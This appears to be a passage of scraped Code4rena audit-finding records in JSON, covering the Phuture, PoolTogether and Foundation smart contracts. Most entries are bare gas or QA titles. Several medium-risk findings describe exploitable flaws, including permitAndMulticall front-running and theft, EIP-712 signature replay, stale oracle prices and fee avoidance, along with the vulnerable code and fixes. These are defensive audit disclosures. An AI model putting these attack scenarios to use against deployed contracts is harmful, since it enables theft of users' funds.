desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Index managers can rug user funds", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/55", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-phuture-findings", "body": "Index managers can rug user funds"}, {"title": "Inactive skipped assets can be drained from the index", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/54", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-phuture-findings", "body": "Inactive skipped assets can be drained from the index"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Tokens with fee on transfer are not supported", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-phuture-findings", "body": "Tokens with fee on transfer are not supported"}, {"title": "Wrong requirement in reweight function (ManagedIndexReweightingLogic.sol)", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/40", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-phuture-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-phuture/blob/594459d0865fb6603ba388b53f3f01648f5bb6fb/contracts/ManagedIndexReweightingLogic.sol#L32 https://github.com/code-423n4/2022-04-phuture/blob/594459d0865fb6603ba388b53f3f01648f5bb6fb/contracts/interfaces/IIndexRegistry.sol#L19 # Vulnerability details ## Impact The list of assets won't be changed after reweight because of reverted tx ## Proof of Concept ```require(_updatedAssets.length <= IIndexRegistry(registry).maxComponents())``` when [reweight](https://github.com/code-423n4/2022-04-phuture/blob/594459d0865fb6603ba388b53f3f01648f5bb6fb/contracts/ManagedIndexReweightingLogic.sol#L32) is not true, because as in the [doc](https://github.com/code-423n4/2022-04-phuture/blob/594459d0865fb6603ba388b53f3f01648f5bb6fb/contracts/interfaces/IIndexRegistry.sol#L19), ```maxComponent``` is the maximum assets for an index, but ```_updatedAssets``` also contain the assets that you want to remove. So the comparision make no sense ## Tools Used manual review ## Recommended Mitigation Steps Require ```assets.length() <= IIndexRegistry(registry).maxComponents()``` at the end of function instead "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Wrong shareChange() function (vToken.sol)", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/26", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-phuture-findings", "body": "Wrong shareChange() function (vToken.sol)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/25", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Duplicate asset can be added", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/23", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-phuture-findings", "body": "Duplicate asset can be added"}, {"title": "Asset Manager can update existing _assetAggregator", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/22", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-phuture-findings", "body": "Asset Manager can update existing _assetAggregator"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "IndexLogic: An attacker can mint tokens for himself using assets deposited by other users", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/19", "labels": ["bug", "3 (High Risk)"], "target": "2022-04-phuture-findings", "body": "IndexLogic: An attacker can mint tokens for himself using assets deposited by other users"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/13", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Chainlink's latestRoundData might return stale or incorrect results", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/1", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-phuture-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/oracles/ChainlinkOracleProvider.sol#L55 # Vulnerability details ## Impact On ChainlinkOracleProvider.sol and ChainlinkUsdWrapper.sol , we are using latestRoundData, but there is no check if the return value indicates stale data. ``` function _ethPrice() private view returns (int256) { (, int256 answer, , , ) = _ethOracle.latestRoundData(); return answer; } ... function getPriceUSD(address asset) public view override returns (uint256) { address feed = feeds[asset]; require(feed != address(0), Error.ASSET_NOT_SUPPORTED); (, int256 answer, , uint256 updatedAt, ) = AggregatorV2V3Interface(feed).latestRoundData(); require(block.timestamp <= updatedAt + stalePriceDelay, Error.STALE_PRICE); require(answer >= 0, Error.NEGATIVE_PRICE); uint256 price = uint256(answer); uint8 decimals = AggregatorV2V3Interface(feed).decimals(); return price.scaleFrom(decimals); } ``` This could lead to stale prices according to the Chainlink documentation: https://docs.chain.link/docs/historical-price-data/#historical-rounds https://docs.chain.link/docs/faq/#how-can-i-check-if-the-answer-to-a-round-is-being-carried-over-from-a-previous-round ## Proof of Concept https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/oracles/ChainlinkOracleProvider.sol#L55 https://github.com/code-423n4/2022-04-backd/blob/main/backd/contracts/oracles/ChainlinkUsdWrapper.sol#L64 ## Tools Used None ## Recommended Mitigation Steps ``` function _ethPrice() private view returns (int256) { (uint80 roundID, int256 answer, , uint256 timestamp, uint80 answeredInRound) = _ethOracle.latestRoundData(); require(answeredInRound >= roundID, \"Stale price\"); require(timestamp != 0,\"Round not complete\"); require(answer > 0,\"Chainlink answer reporting 0\"); return answer; } ... function getPriceUSD(address asset) public view override returns (uint256) { address feed = feeds[asset]; require(feed != address(0), Error.ASSET_NOT_SUPPORTED); (uint80 roundID, int256 answer, , uint256 updatedAt, uint80 answeredInRound) = AggregatorV2V3Interface(feed).latestRoundData(); require(answeredInRound >= roundID, \"Stale price\"); require(answer > 0,\" Error.NEGATIVE_PRICE\"); require(block.timestamp <= updatedAt + stalePriceDelay, Error.STALE_PRICE); uint256 price = uint256(answer); uint8 decimals = AggregatorV2V3Interface(feed).decimals(); return price.scaleFrom(decimals); } "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-pooltogether-findings", "body": "QA report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-pooltogether-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/25", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/22", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "`permitAndMulticall()` May Be Used to Steal Funds Or as a Denial Of Service if `_from` Is Not The Message Sender", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "# Lines of code https://github.com/pooltogether/v4-twab-delegator/blob/2b6d42506187dd7096043e2dfec65fa06ab18577/contracts/PermitAndMulticall.sol#L46-L64 https://github.com/pooltogether/v4-twab-delegator/blob/2b6d42506187dd7096043e2dfec65fa06ab18577/contracts/PermitAndMulticall.sol#L31-L37 https://github.com/pooltogether/v4-twab-delegator/blob/2b6d42506187dd7096043e2dfec65fa06ab18577/contracts/TWABDelegator.sol#L438-L445 # Vulnerability details ## Impact When the `_from` address is not the `msg.sender` `_multiCall()` will be made on behalf of the `msg.sender`. As a result each of the functions called by `multiCall()` will be made on behalf of `msg.sender` and not `_from`. If functions such as `transfer()` or `unstake()` are called `msg.sender` will be the original caller which would transfer the attacker the funds if the `to` field is set to an attackers address. Furthermore, if an attacker we to call `permitAndMulticall()` before the `_from` user they may use their signature and nonce combination. As a nonce is only allowe to be used once the siganture will no longer be valid and `_permitToken.permit()` will fail on the second call. An attacker may use this as a Denial of Service (DoS) attack by continually front-running `permitAndCall()` using other users signatures. ## Proof of Concept ``` function _multicall(bytes[] calldata _data) internal virtual returns (bytes[] memory results) { results = new bytes[](_data.length); for (uint256 i = 0; i < _data.length; i++) { results[i] = Address.functionDelegateCall(address(this), _data[i]); } return results; } ``` ``` function _permitAndMulticall( IERC20Permit _permitToken, address _from, uint256 _amount, Signature calldata _permitSignature, bytes[] calldata _data ) internal { _permitToken.permit( _from, address(this), _amount, _permitSignature.deadline, _permitSignature.v, _permitSignature.r, _permitSignature.s ); _multicall(_data); } ``` ## Recommended Mitigation Steps Consider updating the `_from` field to be the `msg.sender` in `permitAndMulticall()` (or alternatively do this in `_permitAndMulticall()` to save some gas). ``` function permitAndMulticall( uint256 _amount, Signature calldata _permitSignature, bytes[] calldata _data ) external { _permitAndMulticall(IERC20Permit(address(ticket)), msg.sender, _amount, _permitSignature, _data); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-pooltogether-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-pooltogether-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "`adminAccountMigration()` Does Not Update `buyPrice.seller`", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketReserveAuction.sol#L263-L292 https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketBuyPrice.sol#L125-L141 # Vulnerability details ## Impact The `adminAccountMigration()` function is called by the operator role to update all sellers' auctions. The `auction.seller` account is updated to the new address, however, the protocol fails to update `buyPrice.seller`. As a result, the protocol is put in a deadlock situation where the new address cannot cancel the auction and withdraw their NFT without the compromised account first cancelling the buy price and vice-versa. This is only recoverable if the new account is migrated back to the compromised account and then `cancelBuyPrice()` is called before migrating back. ## Proof of Concept ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider invalidating the buy offer before account migration. "}, {"title": "`_getCreatorPaymentInfo()` is Not Equipped to Handle Reverts on an Unbounded `_recipients` Array", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/85", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketCreators.sol#L49-L251 # Vulnerability details ## Impact The `_getCreatorPaymentInfo()` function is utilised by `_distributeFunds()` whenever an NFT sale is made. The function uses `try` and `catch` statements to handle bad API endpoints. As such, a revert in this function would lead to NFTs that are locked in the contract. Some API endpoints receive an array of recipient addresses which are iterated over. If for whatever reason the function reverts inside of a `try` statement, the revert is actually not handled and it will not fall through to the empty `catch` statement. ## Proof of Concept The end result is that valid and honest NFT contracts may revert if the call runs out of gas due to an unbounded `_recipients` array. `try` statements are only able to handle external calls. ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider bounding the number of iterations to `MAX_ROYALTY_RECIPIENTS_INDEX` as this is already enforced by `_distributeFunds()`. It may be useful to identify other areas where the `try` statement will not handle reverts on internal calls. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/79", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "`buyFromPrivateSaleFor()` Will Fail if The Buyer Has Insufficient Balance Due to an Open Offer on The Same NFT", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/77", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketPrivateSale.sol#L143-L150 # Vulnerability details ## Impact The `buyFromPrivateSaleFor()` function allows sellers to make private sales to users. If insufficient `ETH` is provided to the function call, the protocol will attempt to withdraw the amount difference from the user's unlocked balance. However, if the same user has an open offer on the same NFT, then these funds will remain locked until expiration. As a result, the user cannot make use of these locked funds even though they may be needed for a successful sale. ## Proof of Concept ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider adding a `_cancelBuyersOffer()` call to the `buyFromPrivateSaleFor()` function. This should be added only to the case where insufficient `ETH` was provided to the trade. By cancelling the buyer's offer on the same NFT, we can guarantee that the user has access to the correct amount of funds. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "There is no Support For The Trading of Cryptopunks", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/74", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "There is no Support For The Trading of Cryptopunks"}, {"title": "Fees Are Incorrectly Charged on Unfinalized NFT Sales", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/73", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L255-L271 https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketReserveAuction.sol#L557 https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketReserveAuction.sol#L510-L515 https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketFees.sol#L188-L189 # Vulnerability details ## Impact Once an auction has ended, the highest bidder now has sole rights to the underlying NFT. By finalizing the auction, fees are charged on the sale and the NFT is transferred to `auction.bidder`. However, if `auction.bidder` accepts an offer before finalization, fees will be charged on the `auction.bidder` sale before the original sale. As a result, it is possible to avoid paying the primary foundation fee as a creator if the NFT is sold by `auction.bidder` before finalization. ## Proof of Concept Consider the following scenario: - Alice creates an auction and is the NFT creator. - Bob bids on the auction and is the highest bidder. - The auction ends but Alice leaves it in an unfinalized state. - Carol makes an offer on the NFT which Bob accepts. - `_acceptOffer()` will distribute funds on the sale between Bob and Carol before distributing funds on the sale between Alice and Bob. - The first call to `_distributeFunds()` will set the `_nftContractToTokenIdToFirstSaleCompleted` to true, meaning that future sales will only be charged the secondary foundation fee. ## Tools Used Manual code review. ## Recommended Mitigation Steps Ensure the `_nftContractToTokenIdToFirstSaleCompleted` is correctly tracked. It might be useful to ensure the distribution of funds are in the order of when the trades occurred. For example, an unfinalized auction should always have its fees paid before other sales. "}, {"title": "EIP-712 signatures can be re-used in private sales", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/68", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketPrivateSale.sol#L123-L174 # Vulnerability details ## Impact Within a NFTMarketPrivateSale contract, buyers are allowed to purchase a seller's NFT. This is done through a seller providing a buyer a EIP-712 signature. The buyer can then call `#buyFromPrivateSaleFor` providing the v, r, and s values of the signature as well as any additional details to generate the message hash. If the signature is valid, then the NFT is transferred to the buyer. The problem with the code is that EIP-712 signatures can be re-used within a small range of time assuming that the original seller takes back ownership of the NFT. This is because the NFTMarketPrivateSale#buyFromPrivateSaleFor method has no checks to determine if the EIP-712 signature has been used before. ## Proof of Concept Consider the following example: 1. Joe the NFT owner sells a NFT to the malicious buyer Rachel via a private sale. 2. Rachel through this private sale obtains the EIP-712 signature and uses it to purchase a NFT. 3. Joe the NFT owner purchases back the NFT within two days of the original sale to Rachel. 4. Joe the NFT owner puts the NFT back on sale. 5. Rachel, who has the original EIP-712 signature, can re-purchase the NFT by calling `#buyFromPrivateSaleFor` again with the same parameters they provided in the original private sale purchase in step 1. The `#buyFromPrivateSaleFor` [function](https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketPrivateSale.sol#L123) runs several validation checks before transferring the NFT over to the buyer. The validations are as follows: 1. L#132 - The signature has expired. 2. L#135 - The deadline is beyond 48 hours from now. 3. L#143 - The amount argument is greater than msg.value. 4. L#149 - The msg.value is greater than the amount set. 5. L#171 - This checks that the EIP-712 signature comes from the NFT seller. As you can see, there are no checks that the EIP-712 signature has been used before. If the original NFT seller purchases back the NFT, then they are susceptible to having the original buyer taking back the NFT. This can be problematic if the NFT has risen in value, as the original buyer can utilize the same purchase amount from the first transaction in this malicious transaction. ## Tools Used Pen and paper ## Recommended Mitigation Steps Most contracts utilize nonces when generating EIP-712 signatures to ensure that the contract hasn't been used for. When a nonce is injected into a signature, it makes it impossible for re-use, assuming of course the nonce feature is done correctly. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "[WP-M6] Inappropriate support of EIP-2981", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "[WP-M6] Inappropriate support of EIP-2981"}, {"title": "[WP-M5] Royalties can be distribution unfairly among `creatorRecipients` for NFT contracts with non-standard `getRoyalties()` returns", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/57", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "[WP-M5] Royalties can be distribution unfairly among `creatorRecipients` for NFT contracts with non-standard `getRoyalties()` returns"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-foundation-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "Upgradable escrow contract", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/53", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "Upgradable escrow contract"}, {"title": "QA 